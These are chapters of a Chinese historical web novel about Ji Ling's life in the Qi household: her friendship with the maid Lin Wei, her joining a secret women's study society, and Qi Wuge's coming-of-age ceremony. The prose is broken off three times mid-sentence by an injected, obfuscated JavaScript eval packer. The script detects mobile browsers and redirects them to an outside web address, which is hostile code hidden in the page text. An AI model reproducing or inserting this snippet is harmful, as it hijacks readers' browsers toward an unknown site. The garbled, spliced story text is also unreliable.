她当年为了孩子,离开军营,没想到此后再也没有机会回去,这四个孩子就成了她心中最大的心事。 既然建功立业她已经没有缘分,那必然要将家事打理妥当、孩子教导成才。她一向是个要强的女子,绝不允许自己的任何付出没有结果。 齐侯爷却未必这样认可:“季泠?她才是最闹腾的一个。如今来了京城,寄人篱下,不过是不得不收敛罢了。她在建州,可比荡云还没规矩。” 齐夫人却不满他这样说:“什么叫没规矩?读书、论辩、打拳、出风头,这就叫没规矩了?规矩是你们男人定的,不利于你们的就是没规矩。倘若让我来定规矩,就要叫你们男人全部闭上臭嘴,剃去胡须,收起肚皮,缩起下巴,给我端正淑柔些。” 眼下反正没有孩子和外人在场,齐夫人直接破口大骂起来。 齐侯爷立刻认怂:“夫人夫人,稍安勿躁。本侯不过是随口一说…荡云合该是你亲生女儿才是,怎么性子跟你一个模子里刻出来一样…” 齐夫人剜了他一眼:“你妹妹不就是性子不够厉害,才会遭了钟家人的暗害吗?要是让我去,非把那群牛鬼蛇神全部打趴下不可。荡云性子强些是好事,无论外人怎么看,怎么说,至少她能不受欺负,我看季泠也是如此,我就喜欢这样的性子。” “我看,喜欢这样性子的,可不止你一个啊。” 齐夫人看着齐侯爷的欲言又止,似乎听出来了他的话外之音:“你是说老大?” 齐侯爷点了点头:“在建州时,我就察觉老大不对劲,在季泠面前总是有些端着,或者是没事找事去招惹。” 齐夫人噗嗤一声笑了出来:“这不是跟你当年一样?” 这话一出,她反应过来,却摇摇头:“老大和季泠不可能的。” 齐侯爷好奇:“为什么?你要拆散两人?” “若真能成,我何必去做恶人,会拆散的该是你这位侯爷吧。” “那你为何说不能成?” 齐夫人不再说话,只是用早已洞察一切的眼神看着她的夫君。 何必透露先机,来日自见分晓。 季泠正带着银薇从府外回来。她近日时常去京城各个书局里逛逛,看看有没有可添置的书籍。 今日她刚好碰上一间书局上了一些新书,买了好些回来,知道自己估计是拿不动的,提前带了银薇前去。 果不其然,她一口气买了十来本,自己拿不下,只好麻烦银薇替她拿几本。 “泠姑娘,奴婢再帮您拿几本吧?” 银薇就替季泠拿了四本书,季泠手上的书都堆的快要让她看不见前面的路了。 季泠有些不好意思,艰难地转头对她说:“不必不必,本来无需劳烦你的,今日是我贪心,一下子买太多了,还累得你替我拿几本。” 银薇才是不好意思,她着急地看着季泠,她只是个奴婢,可季泠却从不让她做些应该的分内之事,让她有些不安。 季泠的手已经有些酸痛,肩膀和脖子上的筋感觉要被沉重的手拽到地上了,胀得很。 她咬着牙在景亭里加快脚步。 “就快到了,就快到了,最后几步。”季泠费力地鼓励自己。 突然窜出个人影,将一条东西甩到她面前。 “啊!”她尖叫一声,酸胀感在剧烈又突如其来的惊吓之中到达顶峰,下意识将手中的书全部抛了出去。 新书就这样散落一地,将书脊蹭上了灰,书角也因碰到强硬的地面而折了角。 “齐无戈!”季泠愤怒地大声尖叫,有些圆鼓的脸颊因为火气而颤抖。 齐无戈立刻捡起地上的那条竹片小蛇,左右摆弄地嘟囔道:“这也不像真蛇啊,怎么吓成这样?” 季泠立刻从他手中将那条青灰色的竹片小蛇抢过,在她手中就成了报复的软鞭,立刻就在景亭中追着齐无戈跑。 刚开始两下,她成功地将小蛇打中齐无戈的后背,却不料让他更加得意,似乎季泠的报复毫无威胁。 齐无戈兴奋地在景亭里乱窜,让季泠只能追着他跑。 眼看季泠真的要生气了,他才停下脚步,一手抓住季泠抽过来的小蛇,笑嘻嘻地安抚她:“教训够了吧?先把书捡起来,我有话跟你说。” 季泠用力甩开他,蹲下去低着头开始捡书,看自己精挑细选的新书全被他毁了,季泠更是难抑怒火,带着银薇转头就往园子里走。 齐无戈这才有些慌乱,像只甩不掉的小狗一样粘在她身后:“真生气了?” 他走在左边看看季泠的脸色,还是紧绷着。 三人前后跨过门,到了钟鼓园,他又跑到右侧,挤开银薇,将头凑到她脸前:“抱歉,我本想逗你开心的…” 季泠还是不理他,走进屋内,将每本书的书角捋平整,又用帕子将书上的脏灰全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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季泠眼睛闪了一下,没有立刻开口,她要怎么样才能自然地掩饰呢? 将齐无戈随意换成一个不熟悉的男子,她这样一想,感觉稍微平淡了一些,这才开口:“没有,你多想了。可别乱点鸳鸯谱。” 钟荡云突然就来了兴趣,凑过来问:“那你喜欢怎么样的男子?虽说咱们也不想这么快成亲,但毕竟年岁在这儿,自己还是要看清一些的。” 季泠冥思苦想,她也不算很确定,喜欢什么样的人? 其实齐无戈不算是她理想中的人吧,对他是什么感觉,她自己也说不清。 钟荡云却开始分析了:“你不喜欢我大哥,你也不喜欢舞文弄墨的,那肯定也不喜欢无咎了。咱们还认识谁呢?咱们书院里的那些同窗,李二?张公子?王秀才?” 钟荡云呱呱一通,季泠头都大了:“书院里那些男的,我一个都不喜欢,你别想了!” 钟荡云突然眼睛一亮:“也不一定要书院里的学生嘛!我觉得之前来过的徐先生就不错,一表人才,风度翩翩的,又是个大官。” 季泠敷衍地应她:“嗯,徐先生算是一个吧。君子如玉,确实不错。” 钟荡云又想想,摇了摇头:“罢了,徐先生年纪有些大了,你俩说不到一块儿去。到时候我在京城的宴会上帮你物色物色...” 季泠被她吓得不行,“可别!打住!到此为止!你还是先关心自己吧云姐姐,等你找到了如意郎君,我再说也不迟。” 然后立刻离开了钟荡云的屋子,躲开她后续的臆想。 20. 齐府日常(3) 白日族学一结束,齐无戈就带着季泠到府里的马场来。 季泠以为先前已经见够了齐府的阔绰,现在见到这个跑马场才真是叹为观止。 “齐无戈,你们府上居然连马场都有啊。” 齐无戈昂起头:“那是自然,齐家马背上建功立业,世代骁勇,自然该有个马场。这个马场并不算大,不过你初学来跑是足够了。” 说完,就去牵了一匹马来,扶着她上了马。 “脚在脚蹬中要踩实了,千万不能松,不然失去平衡,容易坠下来。” 齐无戈检查她的脚踩实后,赞赏地点了点头。 “不论马跑的快还是慢,你的手不能松开缰绳,若你要它停下,就往后一拉。” 季泠似懂非懂,拉了一下,原本温顺的马儿却突然踏着地,有些躁动。季泠吓得不行,立刻僵硬住了。 齐无戈见了,翻身上马,坐在她身后,拉住缰绳。“不是这样拉,太用力会惊到它的。马儿也是生灵,你别将它当物件一样摆弄,要让它明白你的意图和方向,指引它前进或停下。” 说罢,齐无戈就轻轻拽动缰绳,马儿就像听懂他的话似的跑了起来。 季泠感受着马背上的世界,觉得实在新奇,跑了两圈,心情都舒畅了。 有齐无戈这样的好师傅,季泠自然学得快,才几日就已经能坐稳,自己驾着马兜圈子了。 钟荡云来了马场,见到季泠已经有所进步,认可地点了点头:“大哥,你这个师傅确实名副其实。泠儿从前从未骑过马,这么快就学会了。” 齐无戈看着场上肆意欢笑的季泠,目不转睛:“她本来就聪明,自然学得快。” 钟荡云闻言,扒着他的肩膀,想要看清他的表情:“啧啧啧,你这什么语气啊?合着从前我不聪明?连舅母都说,我是她见过最有天赋的姑娘,日后也是能随军征战的。” “你自然是咱们家最聪明的,连老二老三骑马也没你学得好。她自然是远不如你,只是我是师傅,总该鼓励她吧。”齐无戈无奈地转头看向妹妹。 齐无咎却在旁边扑哧一声笑了出来. 齐无戈越过钟荡云,瞪了他一眼:“你笑什么?” 齐无咎老神在在:“傻子和呆子说话。” 到了跑马那日,季泠已经会骑了,只是总没有兄妹四人快。 她和钟荡云带着帷帽,在京郊草场上慢悠悠地转着。 钟荡云抬头见最小的齐无秽都驾马跑得老远,心里直痒痒。 季泠看出来她的望眼欲穿,倒也是十分体贴:“荡云,你去吧,不必在这儿陪我。”、 钟荡云听了眼睛直冒光,□□的马儿仿佛下一秒就要疾驰而去了,她还是勒住了心里的缰绳:“你才刚学会,我不能离开你。” “没事儿,我能控制得住它。银薇帮我牵着马呢,我不跑它,就在这儿转悠转悠。” 钟荡云见季泠这么给她机会,自然不肯放过,立刻就夹紧马镫,打马而走。 京郊和京城还是有些不同,少了那些规规矩矩的人和四四方方的屋子,季泠感觉自在多了,心里飘飘然起来。 她坐在马上四处张望着周围的风景,见到远处有一处庙宇,俯身问银薇:“银薇,那是什么地方?” 银薇瞧着季泠指的方向,即使隔着老远,也能看到车马不息:“姑娘,那儿是龙华寺,是京郊香火最旺的寺庙了。许多高门的夫人都会带着小姐去那儿烧香礼佛。” 季泠望着依山而建的龙华寺,若有所思地点点头:“看起来风景不错,那座山还有些像我们建州的枫漈山呢。若是能在那边上也建一处书院,学子们受这昌盛香火的护佑,没准各个都能考中进士呢。” 银薇一听也笑了,她很喜欢泠姑娘,说话总有种特别的感觉,像是将她们都当成自己的好朋友。 就在季泠不停张望之际,她的一只脚一滑,从马镫里掉了出来。季泠立刻失去可以维持平衡的倚仗,不由得用力夹紧马腹,马立刻就跑了起来。 季泠拉着缰绳左右晃动,慌张地尖叫,整个人紧紧趴下抱住马身。 银薇也被惊到了,她牵着缰绳被马拽着狂奔,整个人差点被马甩了出去。 不过一瞬间,她抓住时机,立刻将脚踩进季泠脱出的马镫中,在马儿乱冲之时,一个利落地翻身上马,一前一后拉住缰绳,制止住马的前进。 一切发生的太快,季泠感觉魂都留在方才那片草地上了,一抬头发现竟然也没有跑出几尺。 她震惊地转过头看向银薇:“银薇,你会骑马?” 银薇抿了抿嘴唇,似乎在躲藏,趁着四下无人,她翻身下马,将季泠的脚塞进马镫,又走到前面老老实实地牵起缰绳,恢复往日那副不善言辞的模样:“季姑娘,我不会。” 季泠不知道她为什么隐藏,可是她刚刚转头之际,分明见到了银薇操纵缰绳之时那种无人可比的自信。 “好,你不会,没事,我之后可以教你。” 银薇有些惊讶,转头看向季泠。季泠和蔼地对她笑了笑。 那是一个很美的春天,景星庆云,抬头见喜。季泠神采奕奕,成为银薇心中永远的太阳。 从跑马那日之后,季泠明显感觉到银薇对她亲近起来。 虽然钟荡云说将银薇和银芳都指派给她,她平日里也确实没什么需要两个贴身的女使服侍,银芳正觉得是偷懒的好时候。久而久之,季泠想叫人搭把手时,银芳都只驱使银薇去做,不乐意去自找辛苦。 对她而言,季泠不过是寄居在这里的客人,又不是什么正经主子,压根没有太过上心的必要。 比起服侍季泠,她更喜欢时不时去三位少爷的院子中转悠转悠,和他们屋中的女使搭上话头。 “银薇?银薇?哪儿去了这姑娘。”季泠走出东厢房,四处叫着银薇,却没见人影。 她本想着今日再带银薇一起上街去书局之中的。 之前银薇陪她去书局选书时,她就无意中发现,银薇会识字,而且并不只会识字,四书五经她都认得。 再加上上次在京郊,银薇明明会骑马,却谎称不会,想要隐瞒。季泠觉得这个丫头身上一定有什么谜,她虽不主动开口问,但内心还是有几分好奇的。 平日钟荡云和齐无戈不愿意陪她一去书局就是大半日,她一个人去寂寞无聊,没人一块儿说话。 自从她和银薇关系亲近后,她就乐意带着银薇出门,在选书时和银薇说上几句。虽然银薇不回答她,但她知道,银薇听得懂,也有自己的想法,只是总碍于什么,内敛不言。 季泠走到园子门口,突然听到了什么异声,她驻足停下,仔细侧耳寻找声音的来源,是在月洞门之外。 她循声找去,发现竟然是几个女使聚在一起,对着一人拳打脚踢。 季泠站在树后,有些犹豫,这毕竟是齐家,她一个外来人,该不该插手管人家内宅之事呢... “打!给我狠狠打!让着贱蹄子再去勾引少爷们!” 季泠眼睛略微放大,她听出来,这是银芳的声音,她在教训谁? 季泠突然有一种不妙的预感,立刻从树后走出来,却没有大声斥责,只是装作路过:“你们在做什么?” 银芳没想到有人经过,吓了一跳,立刻转过来,发现居然是季泠。 她有些不情不愿地行礼:“季姑娘。奴婢们只是在闲聊。” “闲聊?此时不该是你们当值的时候吗?” 季泠边问,边走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446282|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进看,就发现地上蜷缩的人十分眼熟。 “银薇!”季泠立刻过去扶起她。 银芳发现事情败露,有些慌张,站在那里搅弄着衣服,用眼神示意围着的几个女使。几个女使也慌了,虽然季泠不是正经主子,但至少也是个客人,若是告到齐夫人那儿去,她们一定没有好果子吃。 季泠将银薇扶了起来,深深地看了银芳一眼,并未多说什么,就向月洞门里走去。 银芳被季泠的眼神看得发毛,从前季泠对她们都是和颜悦色的。刚才那个眼神,就像是齐夫人处置家中犯了大错的下人一样,面上不动声色,但心中早有决断。 “银芳姐姐,怎么办?季姑娘看见了...会不会...” 银芳喝止住她们,扭了扭并不酸痛的脖子和肩膀,竭力维持镇定:“不会,她不过是建州一个没见识的丫头片子,能怎么样?寄人篱下,她还真以为自己是主子不成?” 这话说出来,她的心也有些虚了,钟荡云和齐无戈对季泠有多好,她并不是没看见。只是事情已经发生了,她还能怎么办? 季泠将浑身伤痕的银薇带进她的屋内,让她坐在榻上。 银薇立刻站起来:“奴婢不敢...” 季泠不容拒绝:“没有什么不敢的,坐下,眼下这儿只有你我二人,无人知晓。” 季泠四处翻着,找来了跌打损伤的伤药,这还是之前齐无戈教她射箭和匕首的时候送给她的,现下倒是派上用场了。 季泠撩开她的袖子和裙子,紧紧皱眉,替她慢慢吹着伤口,小心地将伤药撒上去:“她们也是姑娘家,怎么忍心对你下这么重的手。” 银薇却突然变了模样,眼中满是屈辱:“泠姑娘,您人好,身边也都是好人,才觉得天下的女子都是好姑娘。只是这世道难就难在,女子的辛苦,常常是由其他女子一手造就的。” 季泠上药的手停顿了一下,内心中流转过一阵不为人道的情绪,轻轻说:“我怎么会不知道呢,我也是从底下挣扎出来的。” 银薇转头看向她,有些惊讶。季泠笑了笑,将她衣裳都脱去,看着她身上的伤,压下几分不忍:“我知道你心中有秘密,或者苦衷。我也有。” “我家不过是建州下面一个县城的渔户,爹娘亲族费了力气,凑了钱送我去学堂。后来县里选人去建州,我得了机会,这才认识了你们大少爷和表小姐。” 银薇没想过,季泠这么坦然地就将过往都说了出来。季泠却不在意:“说白了,我不乐意说,只是因为我将自己看低了。京城确实是富贵云集的地方,我才来了不到五月,就已经被迷得快要失去自己了,只觉得我的家族父母怎么会那样差劲,竟连京城随意一个摊贩都比不上。” “可是日思夜想之中,也算是看开了,我的父母家族又何错之有,他们辛劳谋生,还能让我一个姑娘去学堂,已然给了我最好的一切,让我走出那片支离破碎的山海,带上他们的寄托与希望,来到这世上最好的地方看上一看。” 季泠不只是在和银薇说,其实也是在跟自己说。 她没有自己想象中的那么心外无物、坚不可摧。 她仍然是会羡慕钟荡云和齐无戈;羡慕那些不必付出任何努力,就已经拥有她拼尽全力挣来的一切;羡慕高门大户的生活;羡慕那些穿着绯红官服、昂首走向奉天殿的朝臣。 可她不敢让这样的心事被其他人知晓,更不敢放纵这样的心思将自己吞噬。 她从荒漠走来,以为见到了一片水源,不顾一切地奔向希望,跳进去后才发现那是沼泽。 她不能用力挣扎,却也不能越陷越深,只能努力摸索到一根棍子,撑在岸边,一点一点地滋养着干裂的肌肤,再寻找时机拯救自己于沼泽之中。 21. 古良学社 有些话,说出来就是释怀了,季泠调整得很快。 她不知道,千万前赴后继而来的人,在其中浮沉半生,还没有寻找到知与行、欲与理的平衡,她已经先人一步,爬上岸了。 所以现在,轻舟向前,她想渡人。 “所以银薇,不必担心。我们都会有很好的将来。我知道你一定不是一个普通的女使,你会识字,会骑马,幼时一定也是家中的掌上明珠。如果你愿意,我可以与你一起分享我拥有的一切。” 银薇感受着冰凉的药膏和温热的手指在自己背后来回跳跃,她的心也在胸腔中动得急促。 “泠姑娘,我叫林微。”季泠听见后,意会地笑了,林微将自己的真名告诉了她,即将也要将过往告诉她了。 但林微仍旧不敢说太多,她怕自己言多失据,招来祸患。 “如您猜测,我曾也是好人家的姑娘,幼时家中人教导得好,我学了骑射,通识诗书。只是十岁之时,家中突逢意外,家道中落,才被卖进齐府为奴。齐夫人是个好人,但她在战场厮杀,却不知道后宅之中的软刀暗箭。 大少爷二少爷是人中龙凤,府里没有几个丫头不喜欢的。我性子沉,不爱说话,她们有什么就先支使我去做。她们在府中姐妹相称,各有各的帮派势力,我若不从,就只会受到毒打。这次大少爷回京,带回您,我随着您多见了几次大少爷和二少爷,银芳就笃定我有心勾引,这才找了时机来对付我。” 原来如此,季泠替林微穿上衣服,收起伤药后,拉着她的手:“我想法子,将银芳从园子里支出去,再去告知荡云,看看能否将你放在我身边专用。齐府既然事多,我们就往外走,下了学后,我们去外头找我们自己的天地。” 季泠眼如点漆,真诚地看着林微。林微不由自主地被她打动,点了点头。 不知道季泠和钟荡云说了什么,钟荡云大发一通脾气,将那日闹事的几个丫头,包括银芳,全部赶出府去了。 也如季泠承诺的那样,钟荡云大方地将林微给了季泠,钟鼓园中也再没了银薇,只剩下季泠身边的林微。 比起主仆,季泠和林微更像是成了姐妹,在钟荡云和齐无戈几人去演武场时,季泠就带着林微在一旁陪她射箭、跑圈、骑马,趁着没人注意,她还撺掇林微也射上几发,准头竟然也不必季泠差。 在季泠和钟荡云几人去听学究讲学时,林微就替她安顿东厢房里外的大小事宜,让她少忧心些。 多往外头跑几次后,季泠发现一个特别的地方,梧桐书局。 “我发现,这儿的书不仅又多又全,而且书架特别高,有人躲在书架之后看一整日的书,掌柜的也不会来驱赶。” 季泠拉着林微,站在梧桐书局前,看着规格堪比酒楼的书局,已然摩拳擦掌,急不可耐。 之后两人没事就来梧桐书局呆着,碰上喜欢的,就躲在书局的角落里偷偷看完。 “姑娘,这本书您都来看了好几次了,为什么不买回去呢?” 林微又一次陪季泠来到了书局,看见她拿起熟悉的书,实在好奇,忍不住发问。 季泠愁眉苦脸:“你姑娘我啊,是个穷光蛋。我在齐府白吃白喝,已经算我赚了。可你也知道,我家中什么光景,先前在建州攒下来的钱,来了京城没多久,就快霍霍光了。你没发现吗,我现在出门总是低着头走,就期盼时来运转,让我捡到两个铜板。” 林微听后,控制不住笑了。 “林微,你该多笑笑,多鲜活的年纪,别老是闷闷不乐的。” 其实林微年纪比季泠还要大的,可是季泠对着林微说话,就像是对着妹妹一样老成,有时候都叫林微内疚,该不该告诉季泠,她实际上是比季泠年长呢。 在五月的一日,季泠在梧桐书局碰见了一位意想不到的故友。 她正猫在书局最里层的书架边找书,突然后背被人顶了一下,她额头撞到了书架上,让她吃痛地皱了脸。 她按着额头弓着身,那个姑娘直道歉:“抱歉抱歉!” 季泠和她对视一眼,发现居然是个熟面孔。 “苏缘祯?” “季泠?” 从此以后,梧桐书局的小天地又多了一人的加入。 在一个月之后,苏缘祯神神秘秘地带着她和林微走进了书局后面的一处小屋。 季泠困惑,曲径通幽,她还真怕被苏缘祯卖了:“你究竟要带我去哪里?” 苏缘祯只莽着往前走:“去了你就知道了。” 到了那处小屋,里头竟然有十几位与她年纪相仿的少年,准确来说,都是扮作男子的姑娘。 苏缘祯意气风发,转身看着季泠和林微:“你前段日子不是说,真希望多些人与咱们志同道合,一起为女子发声助力吗?如今,就有了。” 坐在大圆桌正中的一个少年站了起来,开口就是稳重的女声:“我们是古良学社,为了我们女子而设。因义而聚,因志同谋。我们想让世间所有人知道,咱们姑娘,可凝乾坤之力,可攀险阻高山,可淌深寒江海,可走万里险途。” 她们的话字字铿锵,虽然屋内狭小昏暗,却让季泠真的看见万千女子的灵魂逃脱千年囹圄,如日方升。 她转头看了一眼林微,林微点了点头,季泠难以遏制澎湃之心,声音中都带着几分激动的颤栗:“我们加入。” 从今以后,她们的志向就有了寄托的地方,合抱之木,生于毫末。 她们坚信,每一次的社论,都能给席间所有人带来新的启发。 书局,茶楼,琴馆,寺庙,像大臣们早朝一样,她们也在每月初五,十五,二十五这三日进行集会。兴许所有人都没想到,年纪最小的季泠,日后竟会搅动最大的风云。 自从结识了古良学社中的诸人,季泠和林微在齐府内呆的时间就越来越少,原该和四兄妹一块儿练功的时间也被季泠逐渐缩短。 往日该练一个时辰的箭术,她偷懒到半个时辰,该跑十圈马,她就跑个六圈就走了。 每当钟荡云和齐无戈想回头来找她时,她早已不见踪影,府中内外都找不见。 她的心已经越飞越远,齐府快要关不住了。 钟荡云想要抓住季泠,在族学听讲时,就心不在焉地盯着她。 “钟姑娘。”学究喊了钟荡云,她还撑着脑袋瞥着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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季泠看人来人往的,拉着她赶紧走进园子,在秋千上坐下:“不是因为缺钱,我本来就爱做这样的事,顺手而已,抄了书,自己更多省些,不算辛苦事。” 钟荡云在秋千上荡了几下,她大概猜到季泠只是为了让她宽心,她就是缺钱了,但这也没办法,她给钱季泠一定不收的,只能来日寻一个由头塞给她了。 “你就是为了这事才想个没完?” 钟荡云这才想起来要和她说的正事:“不是。我想问你,大哥及冠那日,你有没有什么准备?” 季泠一听,拍了拍脑袋:“我就说近日总感觉忘了什么,原来是忘记了这件大事。你大哥是何时行加冠礼来着?” “后日。” 季泠一时没扶稳秋千绳,往前倒了一下,秋千绳转了两圈,她借力立刻站了起来:“后日?这么快?” 完了,她早已订好后日要与古良学社议事的,她不能爽约推拒。 难怪今日齐无戈没有出现,原来是宿宾去了。 冠礼前三日,他们要行筮宾之礼,卜筮挑选出一位德高望重的来宾,替齐无戈加冠,今日他就该去正宾的家中邀请通知了。 22. 及冠上任 “替他加冠的正宾是谁?” “是翰林院学士谭谦谭大人。” 季泠对这个名字不算熟悉。“为何请的是谭大人?” 抚远侯在京中也算是颇有地位的勋贵人家了,为长子行冠礼,该请一位德高望重之人才是。 “听说谭大人仁德稳重,舅舅曾经还在威海卫任指挥佥事时,遇到些麻烦,是谭大人在京中替他斡旋进言,最后才得以平息。” 原来如此,若是有故交,那就正常了。 钟荡云又神神秘秘地将头越过秋千绳,凑到季泠边上说:“现任国子监祭酒上疏告老还乡,圣上已经恩准,明年年初就卸任了。这个位置可能就由这位谭大人接任。” 季泠了然地点了点头,齐家长子就是未来的抚远侯,及冠礼上的宾客总不会是闲人,多少都掺杂些身份利益的考量。 齐侯爷常年领兵在外,京城就齐夫人一人支撑,他如今回来数月,总该在京城多布置几番,为齐府和家中子侄周全里外,铺一条顺畅的路。 这位谭大人若是明年真升任了国子监祭酒,那地位就又不一样了,来日天下官员,尽数都是他的门生。 如今显赫无比的建极殿大学士张瑛张阁老,当年也曾任职过国子监祭酒,网罗天下诸生,培植了自己的势力。 季泠往后一靠,双手挎住绳子,仰头看着澄澈蓝天。太阳特别刺眼,她感觉到有汗水从发间爬出。 大热曝万物,万物不可逃。燥者欲出火,液者欲流膏。 季泠闭上眼,“荡云,明日我就不去了。” 钟荡云没料到季泠会这样说:“为何?” 季泠从秋千上下来,走到树荫下的石桌上,太阳太大了,她被晒得有些烦闷。 “出席冠礼的宾客,皆是京城有头有脸的人物,或是齐家亲长。我一个外来人,去了不合适。” “你怎么会是外来人?你是我和大哥的好朋友啊。” “这不一样。冠者表成人之容,正尊卑之序。明日场合之中,他不是我的同窗与好友,他是抚远侯世子,在场人物皆因此而来。我若去了,该站在哪儿?观礼的长辈们之间吗,朋友之间,还是家人之间?我不能名正言顺地站在那里,众宾高谈阔论之时,我连我的氏族身份都报不出来。” 钟荡云沉默了,世俗的鸿沟原来这么深,比季泠从建州到京城的千里之距还要难以跨越。 “礼法若是这样,学来还有何用?尽干一些约束人的事情。” “经国家,序民人;正性情,明是非,节万事。礼魂法骨,塑造了这样的安定。只是它教导之下,终究会将人化成相似的叶子,不得不为了天下而折损自我的一角。” 这样的事情,她们不好妄加评判。 季泠和钟荡云透过树影,看向细碎的阳光,灿烂光辉又如何呢,还不是被大树打翻,落到地上就支离破碎。 树阴满地日当午,梦觉流莺时一声。 在钟荡云换好衣裳,去前院准备参加冠礼时,季泠站在主屋门前,想要与她说些话,就听见屋中传来争执声。 “父亲!您别乱说话!”屋中的钟荡云不耐烦地大声嚷嚷。 今日冠礼,钟父也来了。 季泠没见过他几回,也就初来齐家时,在年节的宴席见打了照面。 钟荡云待她父亲毫不亲厚,钟父亦是如此。今日钟父来此,倒叫她意外。 这是他们父女间的私事,季泠不好探听。正准备拔腿离开时,却听见了自己的名字。 “你好端端的,没事从建州把那个季泠带回来做什么?年间我就觉得不对劲,齐大对她也过分亲厚了些。”钟父的口气似乎带着不满,季泠瞬间停住步伐。 “如今齐无戈要及冠了,你舅舅舅母也该开始为他物色适龄的女子。依我看,你的年龄不正是相配吗?你日日与齐大呆在一块儿,总该有些感情吧?” “父亲!您这是什么话?那是我大哥!” “什么大哥,又不是你亲生哥哥。钟家的孩子,才是你亲兄弟!你可别亲疏不分!” 钟荡云瞪着他,为何她父亲是这样的人? “您同意我一直住在齐家,不会就是打的这个算盘吧?” “总归你们是外姓兄妹,你舅舅舅母又疼爱你,你嫁入齐家有什么不好吗?你可别让建州那野丫头捷足先登了。她举止粗俗,门第又差,毫无京城大家闺秀该有的气度。只是齐大和你舅舅舅母似乎对她也不错…怎么就花言巧语地将你们都哄骗了…” 钟荡云忍无可忍:“我不许你说我的朋友!泠儿没你想得那么龌龊!你是为我好吗!你分明就是想借我,继续维持和齐家的姻亲!” 听到此处,季泠也算明白了钟父为何破天荒地来钟鼓园找钟荡云说话。 月洞门外传来脚步声,许是前院的女使来传钟荡云去见礼了。 季泠悄无声息地离开,带着林微从齐家后门偷偷溜了出去,奔向了梧桐书局。 齐无戈站在正厅中央,脸上洋溢着少年人难以抑制的激动。冠礼一过,他就成人了。 冠礼所需的皂衫、深衣、大带、履、栉、掠,都用桌子陈设于正堂东侧。 酒注、盏盘则陈设在冠服北面。幞头、帽子、冠并巾,用帕蒙上,陈设于西阶下。 他有些紧张,他的父亲十分看重此次的冠礼,特意为他请来了朝中多臣观礼,今日之后,众人都会认识他 齐无戈,抚远侯世子,未来威海卫的指挥佥事。 他转头看向阼阶下盛服等待的家人,齐夫,齐母,齐无咎,齐无秽,钟荡云,却没看见季泠的身影。 他有些疑惑,看向钟荡云,却得到她躲闪的眼神。 正宾已然到来了。 “谭大人,徐大人。” 众人纷纷行礼,谭谦和徐行也一一回礼。 正宾该从自己的子弟亲戚中选择一位习礼者作为冠礼赞者,谭谦选了他的学生徐行,这倒是让齐威和齐无戈颇感意外。 看来谭谦很看重这位学生。 冠礼方始,齐无戈面向西,阼阶上偏东的地方站立。 正宾谭谦则向东站立。徐行盥洗拭手之后,端正地站在谭谦身后,耐心等待。 初加冠笄,谭谦正容祝唱:“令月吉日,始加元服。弃尔幼志,顺尔成德。寿考惟祺,介尔景福。” 再加帽子,齐无戈换上皂衫革带:“吉月令辰,乃申尔服。敬尔威仪,淑慎尔德。眉寿万年,永受胡福。” 三加幞头,公服革带,纳靴执笏:“以岁之正,以月之令,咸加尔服,兄弟具在,以成厥德,黄者无疆,受天之庆。” 三加礼成,众人看着齐无戈光映照人,意气飞扬,皆赞抚远侯府日升月恒,后继有人。 待齐无戈祭醴、祭脯醢、持脯拜了齐母后,谭谦为齐无戈命了字:“礼仪既备,令月吉日,昭告尔字。爱字孔嘉,髦士攸宜。宜之于假,永受保之,曰稷安甫。” 齐无戈似乎听见了鸟鸣,他没有抬头,依礼跪拜正宾。 季泠在梧桐书局的后院中走出来仰望碧空,鸿鹄一再高举,天地睹方圆。 她和她的伙伴们正在筹谋一件从未有人做过的大事,兴许会给她自己招来灾祸。 “姑娘,进去吧,已经准备好了。” 林微走到季泠身边,季泠听到后,看着自己右手上 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季泠有些不知所措,她要怎么回应呢。 不必说回应,她甚至不知道怎么面对齐无戈。 踌躇须臾,她才开口:“这是你的人生大事。”她没有合适的身份出席。 “正是如此,我才希望你来。” 季泠低头,躲开了齐无戈火热的眼神。 钟荡云马上出来替她解围:“大哥,你别吓着她。今日去让朝臣们看见算什么?你自然是无所谓,泠儿一个姑娘家,又没有倚仗,会被京城那些人议论死的。” 齐无戈这才意识到自己的唐突,攥了攥拳头后,突然卸了力:“我要走了。” 钟荡云并不给大哥面子:“你自走你的。” “我要去赴任了。” 季泠和钟荡云立刻抬头,意料之外的消息,她们甚至都不知道自己的五官该如何安置摆放,感觉已经随着傍晚的风乱飞去了。 “什么时候?” “十日后。” “这么快…” 虽然她们早就知道,齐无戈回京之后不久,就该去山东上任了,只是在齐府的日子太快乐,她们全然忘记了齐无戈的责任。 季泠就这样呆呆地看着齐无戈的脸,恍惚间忘记了这十日的日升月落。 最终呆呆地看着站在齐府门前,看着齐无戈带着一支齐家军,依依不舍地朝着城外离去。 季泠回到钟鼓园时,已经不记得齐无戈离别时的表情,只记得他给齐父齐母磕了头,嘱咐齐二替他照顾好家中、齐三莫再贪玩、荡云要勤练剑。 最后,在她面前停滞了一下,没再说什么,带了几分近人情更怯的落荒而逃,转身上了马。 仲夏缱绻的阳光照得马儿睁不开眼,额前的错金瑞兽纹当卢在熠熠闪耀,精致的边缘却因光线的模糊,被人误以为是受了时间的磨损。 那日冠礼之后,她再没见过没见过齐无戈,直到刚才她随众人出来送别。 